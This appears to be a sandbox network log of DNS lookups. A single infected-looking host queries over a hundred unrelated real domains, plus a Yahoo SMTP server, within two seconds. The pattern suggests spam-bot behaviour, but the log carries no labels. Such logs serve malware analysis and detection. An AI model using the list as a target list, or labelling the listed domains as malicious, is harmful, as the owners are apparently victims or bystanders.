Mar 10, 2023 07:56:13.700179100 CET	192.168.2.6	8.8.8.8	0xca4c	Standard query (0)	atb-lit.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.701962948 CET	192.168.2.6	8.8.8.8	0x2165	Standard query (0)	leapc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.704752922 CET	192.168.2.6	8.8.8.8	0x6368	Standard query (0)	www.diamir.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.811496973 CET	192.168.2.6	8.8.8.8	0xc970	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.813628912 CET	192.168.2.6	8.8.8.8	0xb4ad	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.814888954 CET	192.168.2.6	8.8.8.8	0x5ca1	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.815483093 CET	192.168.2.6	8.8.8.8	0xd95d	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.823144913 CET	192.168.2.6	8.8.8.8	0x983e	Standard query (0)	paraski.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.826225042 CET	192.168.2.6	8.8.8.8	0xb35b	Standard query (0)	ldh.la.gov	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.832112074 CET	192.168.2.6	8.8.8.8	0x174c	Standard query (0)	www.dayvo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.917783022 CET	192.168.2.6	8.8.8.8	0x24da	Standard query (0)	oozkranj.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:13.930176973 CET	192.168.2.6	8.8.8.8	0x9d9d	Standard query (0)	www.yocinc.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.006489038 CET	192.168.2.6	8.8.8.8	0xc9b	Standard query (0)	tozzhin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.007023096 CET	192.168.2.6	8.8.8.8	0x9f07	Standard query (0)	ccrsi.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.008806944 CET	192.168.2.6	8.8.8.8	0xb1a3	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.010876894 CET	192.168.2.6	8.8.8.8	0x6c1e	Standard query (0)	cjborden.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.014112949 CET	192.168.2.6	8.8.8.8	0x42a2	Standard query (0)	amic.at	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.018579006 CET	192.168.2.6	8.8.8.8	0xe53	Standard query (0)	portoccd.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.023632050 CET	192.168.2.6	8.8.8.8	0xdb0f	Standard query (0)	floopis.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.027184010 CET	192.168.2.6	8.8.8.8	0x4cfe	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.083128929 CET	192.168.2.6	8.8.8.8	0xf4e8	Standard query (0)	apcotex.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.096926928 CET	192.168.2.6	8.8.8.8	0x1b2e	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.109005928 CET	192.168.2.6	8.8.8.8	0xe606	Standard query (0)	rkengg.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.136574030 CET	192.168.2.6	8.8.8.8	0x55f4	Standard query (0)	uhsa.edu.ag	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.144850016 CET	192.168.2.6	8.8.8.8	0x6ce4	Standard query (0)	tabbles.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.149759054 CET	192.168.2.6	8.8.8.8	0xe53d	Standard query (0)	cbras.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.193665028 CET	192.168.2.6	8.8.8.8	0xc61e	Standard query (0)	assideum.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.198018074 CET	192.168.2.6	8.8.8.8	0x19be	Standard query (0)	nblewis.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.203968048 CET	192.168.2.6	8.8.8.8	0x95f	Standard query (0)	snf.it	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.213066101 CET	192.168.2.6	8.8.8.8	0x465f	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.222856045 CET	192.168.2.6	8.8.8.8	0xa8ae	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.225455046 CET	192.168.2.6	8.8.8.8	0x9256	Standard query (0)	cubodown.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.262448072 CET	192.168.2.6	8.8.8.8	0x6b06	Standard query (0)	indonesiamedia.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.281045914 CET	192.168.2.6	8.8.8.8	0xff06	Standard query (0)	siongann.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.282749891 CET	192.168.2.6	8.8.8.8	0xd03c	Standard query (0)	forbin.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.283962965 CET	192.168.2.6	8.8.8.8	0x7695	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.285659075 CET	192.168.2.6	8.8.8.8	0xd58a	Standard query (0)	semuk.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.285934925 CET	192.168.2.6	8.8.8.8	0xb9b0	Standard query (0)	willsub.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.288741112 CET	192.168.2.6	8.8.8.8	0xa347	Standard query (0)	ldh.la.gov	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.289999008 CET	192.168.2.6	8.8.8.8	0xc07a	Standard query (0)	fdlymca.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.300903082 CET	192.168.2.6	8.8.8.8	0xb62	Standard query (0)	sjbmw.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.301335096 CET	192.168.2.6	8.8.8.8	0xe281	Standard query (0)	insia.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.301435947 CET	192.168.2.6	8.8.8.8	0xf757	Standard query (0)	impexnc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.302150011 CET	192.168.2.6	8.8.8.8	0x8883	Standard query (0)	coxkitchensandbaths.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.302347898 CET	192.168.2.6	8.8.8.8	0x8af4	Standard query (0)	softizer.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.302783966 CET	192.168.2.6	8.8.8.8	0xbc42	Standard query (0)	missnue.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.303148985 CET	192.168.2.6	8.8.8.8	0xb968	Standard query (0)	nts-web.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.303236961 CET	192.168.2.6	8.8.8.8	0x27c1	Standard query (0)	flamingorecordings.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.303702116 CET	192.168.2.6	8.8.8.8	0x5f58	Standard query (0)	shesfit.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.303947926 CET	192.168.2.6	8.8.8.8	0xe705	Standard query (0)	nettlinx.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.304218054 CET	192.168.2.6	8.8.8.8	0xa47	Standard query (0)	jnf.at	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.304929972 CET	192.168.2.6	8.8.8.8	0xba73	Standard query (0)	www.muhr-soehne.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.306194067 CET	192.168.2.6	8.8.8.8	0xee1d	Standard query (0)	clinicasanluis.com.co	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.306329012 CET	192.168.2.6	8.8.8.8	0x8df5	Standard query (0)	strazynski.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.308727980 CET	192.168.2.6	8.8.8.8	0xf150	Standard query (0)	magicomm.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.310497046 CET	192.168.2.6	8.8.8.8	0x2ab4	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.311702013 CET	192.168.2.6	8.8.8.8	0x5805	Standard query (0)	kairel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.327569962 CET	192.168.2.6	8.8.8.8	0xbcd7	Standard query (0)	vivastay.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.331291914 CET	192.168.2.6	8.8.8.8	0x5a13	Standard query (0)	pcoyuncu.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.364433050 CET	192.168.2.6	8.8.8.8	0xc0c	Standard query (0)	tabbles.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.366242886 CET	192.168.2.6	8.8.8.8	0x65df	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.391540051 CET	192.168.2.6	8.8.8.8	0x8964	Standard query (0)	araax.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.394088984 CET	192.168.2.6	8.8.8.8	0xe67e	Standard query (0)	from30ty.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.419249058 CET	192.168.2.6	8.8.8.8	0xe39a	Standard query (0)	dwid.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.434675932 CET	192.168.2.6	8.8.8.8	0x88d7	Standard query (0)	iranytu.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.442104101 CET	192.168.2.6	8.8.8.8	0xcc32	Standard query (0)	duiops.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.474082947 CET	192.168.2.6	8.8.8.8	0x7096	Standard query (0)	shiner.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.474975109 CET	192.168.2.6	8.8.8.8	0xc266	Standard query (0)	fdlymca.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.502265930 CET	192.168.2.6	8.8.8.8	0xdcc	Standard query (0)	smitko.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.504421949 CET	192.168.2.6	8.8.8.8	0xf81b	Standard query (0)	fortknox.bm	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.507210970 CET	192.168.2.6	8.8.8.8	0xb9b8	Standard query (0)	mijash3.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.530234098 CET	192.168.2.6	8.8.8.8	0x3f3d	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.549837112 CET	192.168.2.6	8.8.8.8	0x16cd	Standard query (0)	hubbikes.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.556940079 CET	192.168.2.6	8.8.8.8	0xe3bd	Standard query (0)	amic.at	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.556941032 CET	192.168.2.6	8.8.8.8	0xa595	Standard query (0)	hyab.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.565193892 CET	192.168.2.6	8.8.8.8	0x51c5	Standard query (0)	banvari.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.649333000 CET	192.168.2.6	8.8.8.8	0x9404	Standard query (0)	banvari.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.704807043 CET	192.168.2.6	8.8.8.8	0xb431	Standard query (0)	dhh.la.gov	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.705482960 CET	192.168.2.6	8.8.8.8	0xfe14	Standard query (0)	diamir.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.707441092 CET	192.168.2.6	8.8.8.8	0x629b	Standard query (0)	nts-web.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.709877968 CET	192.168.2.6	8.8.8.8	0xfb02	Standard query (0)	clinicasanluis.com.co	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.709877968 CET	192.168.2.6	8.8.8.8	0xf8eb	Standard query (0)	impexnc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.711019993 CET	192.168.2.6	8.8.8.8	0xe226	Standard query (0)	hyab.se	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.713222980 CET	192.168.2.6	8.8.8.8	0x2d11	Standard query (0)	cbaben.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.714023113 CET	192.168.2.6	8.8.8.8	0x9ac3	Standard query (0)	nettle.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.715342045 CET	192.168.2.6	8.8.8.8	0x2c8d	Standard query (0)	mackusick.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.715687037 CET	192.168.2.6	8.8.8.8	0x1e68	Standard query (0)	metaforacom.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.716052055 CET	192.168.2.6	8.8.8.8	0x4674	Standard query (0)	wahw.com.au	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.716748953 CET	192.168.2.6	8.8.8.8	0xd2f2	Standard query (0)	insia.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.717636108 CET	192.168.2.6	8.8.8.8	0xc112	Standard query (0)	www.muhr-soehne.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.718486071 CET	192.168.2.6	8.8.8.8	0xa542	Standard query (0)	lpver.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.733877897 CET	192.168.2.6	8.8.8.8	0x328c	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.736135006 CET	192.168.2.6	8.8.8.8	0x917	Standard query (0)	mackusick.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.736170053 CET	192.168.2.6	8.8.8.8	0x9a3b	Standard query (0)	lpver.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.756534100 CET	192.168.2.6	8.8.8.8	0xc9c0	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.780236006 CET	192.168.2.6	8.8.8.8	0x19c2	Standard query (0)	avse.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.802105904 CET	192.168.2.6	8.8.8.8	0x7649	Standard query (0)	top1oil.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.803409100 CET	192.168.2.6	8.8.8.8	0x246b	Standard query (0)	oozkranj.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.828270912 CET	192.168.2.6	8.8.8.8	0x9496	Standard query (0)	smtp.sbcglobal.yahoo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.835906029 CET	192.168.2.6	8.8.8.8	0x5ae4	Standard query (0)	www.diamir.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.836081982 CET	192.168.2.6	8.8.8.8	0x986e	Standard query (0)	hyab.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.846999884 CET	192.168.2.6	8.8.8.8	0x902e	Standard query (0)	www.stajum.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.847177029 CET	192.168.2.6	8.8.8.8	0x70cf	Standard query (0)	flamingorecordings.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.864545107 CET	192.168.2.6	8.8.8.8	0xfdb	Standard query (0)	epc.com.au	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.879826069 CET	192.168.2.6	8.8.8.8	0xd5cf	Standard query (0)	oozkranj.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.883163929 CET	192.168.2.6	8.8.8.8	0xa48c	Standard query (0)	sanfotek.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.888444901 CET	192.168.2.6	8.8.8.8	0xaf05	Standard query (0)	atb-lit.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.904618025 CET	192.168.2.6	8.8.8.8	0x47a2	Standard query (0)	at-shun.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.935808897 CET	192.168.2.6	8.8.8.8	0x3ec6	Standard query (0)	dataform.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.935808897 CET	192.168.2.6	8.8.8.8	0xd467	Standard query (0)	htsmx.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.935808897 CET	192.168.2.6	8.8.8.8	0x9953	Standard query (0)	fdlymca.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.935808897 CET	192.168.2.6	8.8.8.8	0x3ba9	Standard query (0)	enguita.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.935810089 CET	192.168.2.6	8.8.8.8	0x841d	Standard query (0)	aoinko.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.935810089 CET	192.168.2.6	8.8.8.8	0x91bf	Standard query (0)	absblast.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.951116085 CET	192.168.2.6	8.8.8.8	0x6741	Standard query (0)	bosado.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.954103947 CET	192.168.2.6	8.8.8.8	0xda65	Standard query (0)	cutchie.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.955509901 CET	192.168.2.6	8.8.8.8	0xc87	Standard query (0)	www.reglera.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.957062006 CET	192.168.2.6	8.8.8.8	0x42ad	Standard query (0)	rokoron.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.958302021 CET	192.168.2.6	8.8.8.8	0x8b50	Standard query (0)	adventist.ro	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.960753918 CET	192.168.2.6	8.8.8.8	0xddeb	Standard query (0)	ncn.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.962745905 CET	192.168.2.6	8.8.8.8	0x3841	Standard query (0)	slower.it	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.968158007 CET	192.168.2.6	8.8.8.8	0x7fc0	Standard query (0)	orbitgas.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.976015091 CET	192.168.2.6	8.8.8.8	0x7848	Standard query (0)	techtrans.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.986988068 CET	192.168.2.6	8.8.8.8	0xec92	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:14.995379925 CET	192.168.2.6	8.8.8.8	0x3025	Standard query (0)	aiolos-sa.gr	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.017333031 CET	192.168.2.6	8.8.8.8	0x9d34	Standard query (0)	bossinst.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.030714035 CET	192.168.2.6	8.8.8.8	0xcba5	Standard query (0)	kevyt.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.030714035 CET	192.168.2.6	8.8.8.8	0x148f	Standard query (0)	fr-dat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.060549974 CET	192.168.2.6	8.8.8.8	0x89ee	Standard query (0)	cpmteam.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.077620029 CET	192.168.2.6	8.8.8.8	0xcde1	Standard query (0)	wvs-net.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.078867912 CET	192.168.2.6	8.8.8.8	0xb833	Standard query (0)	infotech.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.098551989 CET	192.168.2.6	8.8.8.8	0xe91b	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.105463982 CET	192.168.2.6	8.8.8.8	0xf14d	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.128453016 CET	192.168.2.6	8.8.8.8	0x8f4c	Standard query (0)	www.vitaindu.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.131963968 CET	192.168.2.6	8.8.8.8	0x1e72	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.145690918 CET	192.168.2.6	8.8.8.8	0xbd30	Standard query (0)	popbook.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.181282997 CET	192.168.2.6	8.8.8.8	0x8926	Standard query (0)	ldh.la.gov	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.194552898 CET	192.168.2.6	8.8.8.8	0x3803	Standard query (0)	akr.co.id	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.197951078 CET	192.168.2.6	8.8.8.8	0xf0bc	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.238043070 CET	192.168.2.6	8.8.8.8	0x5543	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.259617090 CET	192.168.2.6	8.8.8.8	0xdc56	Standard query (0)	hyabmagneter.se	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.263930082 CET	192.168.2.6	8.8.8.8	0x43bf	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.269432068 CET	192.168.2.6	8.8.8.8	0xd1f1	Standard query (0)	notis.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.276813984 CET	192.168.2.6	8.8.8.8	0x65d9	Standard query (0)	89gospel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.285896063 CET	192.168.2.6	8.8.8.8	0x3a09	Standard query (0)	isom.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.298779964 CET	192.168.2.6	8.8.8.8	0x71c5	Standard query (0)	aba.org.eg	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.299396992 CET	192.168.2.6	8.8.8.8	0xc023	Standard query (0)	kevyt.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.299582005 CET	192.168.2.6	8.8.8.8	0x984d	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.304025888 CET	192.168.2.6	8.8.8.8	0x4ed1	Standard query (0)	top1oil.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.304781914 CET	192.168.2.6	8.8.8.8	0x5ff9	Standard query (0)	rkengg.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.360357046 CET	192.168.2.6	8.8.8.8	0x2e3c	Standard query (0)	hamaker.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.363095045 CET	192.168.2.6	8.8.8.8	0x2320	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.366399050 CET	192.168.2.6	8.8.8.8	0x636f	Standard query (0)	vdoherty.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.375386000 CET	192.168.2.6	8.8.8.8	0x6825	Standard query (0)	89gospel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.375386000 CET	192.168.2.6	8.8.8.8	0x8cb7	Standard query (0)	t-trust.jp	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.386977911 CET	192.168.2.6	8.8.8.8	0x4e2d	Standard query (0)	hubbikes.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.392807007 CET	192.168.2.6	8.8.8.8	0x65df	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.404779911 CET	192.168.2.6	8.8.8.8	0xd021	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.409162998 CET	192.168.2.6	8.8.8.8	0xaa6a	Standard query (0)	willsub.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.410279989 CET	192.168.2.6	8.8.8.8	0x8edc	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.413949966 CET	192.168.2.6	8.8.8.8	0x797f	Standard query (0)	gbp-jp.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.438348055 CET	192.168.2.6	8.8.8.8	0x3bd8	Standard query (0)	dayvo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.448168039 CET	192.168.2.6	8.8.8.8	0xe0d2	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.454909086 CET	192.168.2.6	8.8.8.8	0xc594	Standard query (0)	amerifor.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.480669022 CET	192.168.2.6	8.8.8.8	0x2676	Standard query (0)	www.diamir.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.498264074 CET	192.168.2.6	8.8.8.8	0x64a8	Standard query (0)	anduran.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.546710968 CET	192.168.2.6	8.8.8.8	0x5a4d	Standard query (0)	cbaben.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.547960043 CET	192.168.2.6	8.8.8.8	0x3905	Standard query (0)	xinhui.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.550292015 CET	192.168.2.6	8.8.8.8	0x4955	Standard query (0)	89gospel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.551615953 CET	192.168.2.6	8.8.8.8	0xacf6	Standard query (0)	skgm.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.553873062 CET	192.168.2.6	8.8.8.8	0xaa1b	Standard query (0)	hyabmagneter.se	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.591869116 CET	192.168.2.6	8.8.8.8	0x4f74	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.597819090 CET	192.168.2.6	8.8.8.8	0x16e3	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.611418009 CET	192.168.2.6	8.8.8.8	0x9239	Standard query (0)	biurohera.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.634556055 CET	192.168.2.6	8.8.8.8	0x45ea	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.645042896 CET	192.168.2.6	8.8.8.8	0x8339	Standard query (0)	gydrozo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.647192001 CET	192.168.2.6	8.8.8.8	0x49b6	Standard query (0)	nblewis.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.651289940 CET	192.168.2.6	8.8.8.8	0xe9d7	Standard query (0)	biurohera.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.654886961 CET	192.168.2.6	8.8.8.8	0xe296	Standard query (0)	webavant.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.690005064 CET	192.168.2.6	8.8.8.8	0x1bba	Standard query (0)	anduran.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.703912973 CET	192.168.2.6	8.8.8.8	0xf4aa	Standard query (0)	plaske.ua	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.716046095 CET	192.168.2.6	8.8.8.8	0xaed6	Standard query (0)	wnit.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.725075006 CET	192.168.2.6	8.8.8.8	0x952b	Standard query (0)	www.hyabmagneter.se	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.728075981 CET	192.168.2.6	8.8.8.8	0x5c82	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.732054949 CET	192.168.2.6	8.8.8.8	0x7d8	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.736495972 CET	192.168.2.6	8.8.8.8	0x7a80	Standard query (0)	notis.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.754816055 CET	192.168.2.6	8.8.8.8	0x77ee	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.754816055 CET	192.168.2.6	8.8.8.8	0x219f	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.760031939 CET	192.168.2.6	8.8.8.8	0x328c	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.760116100 CET	192.168.2.6	8.8.8.8	0xe226	Standard query (0)	hyab.se	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.764543056 CET	192.168.2.6	8.8.8.8	0x5e39	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
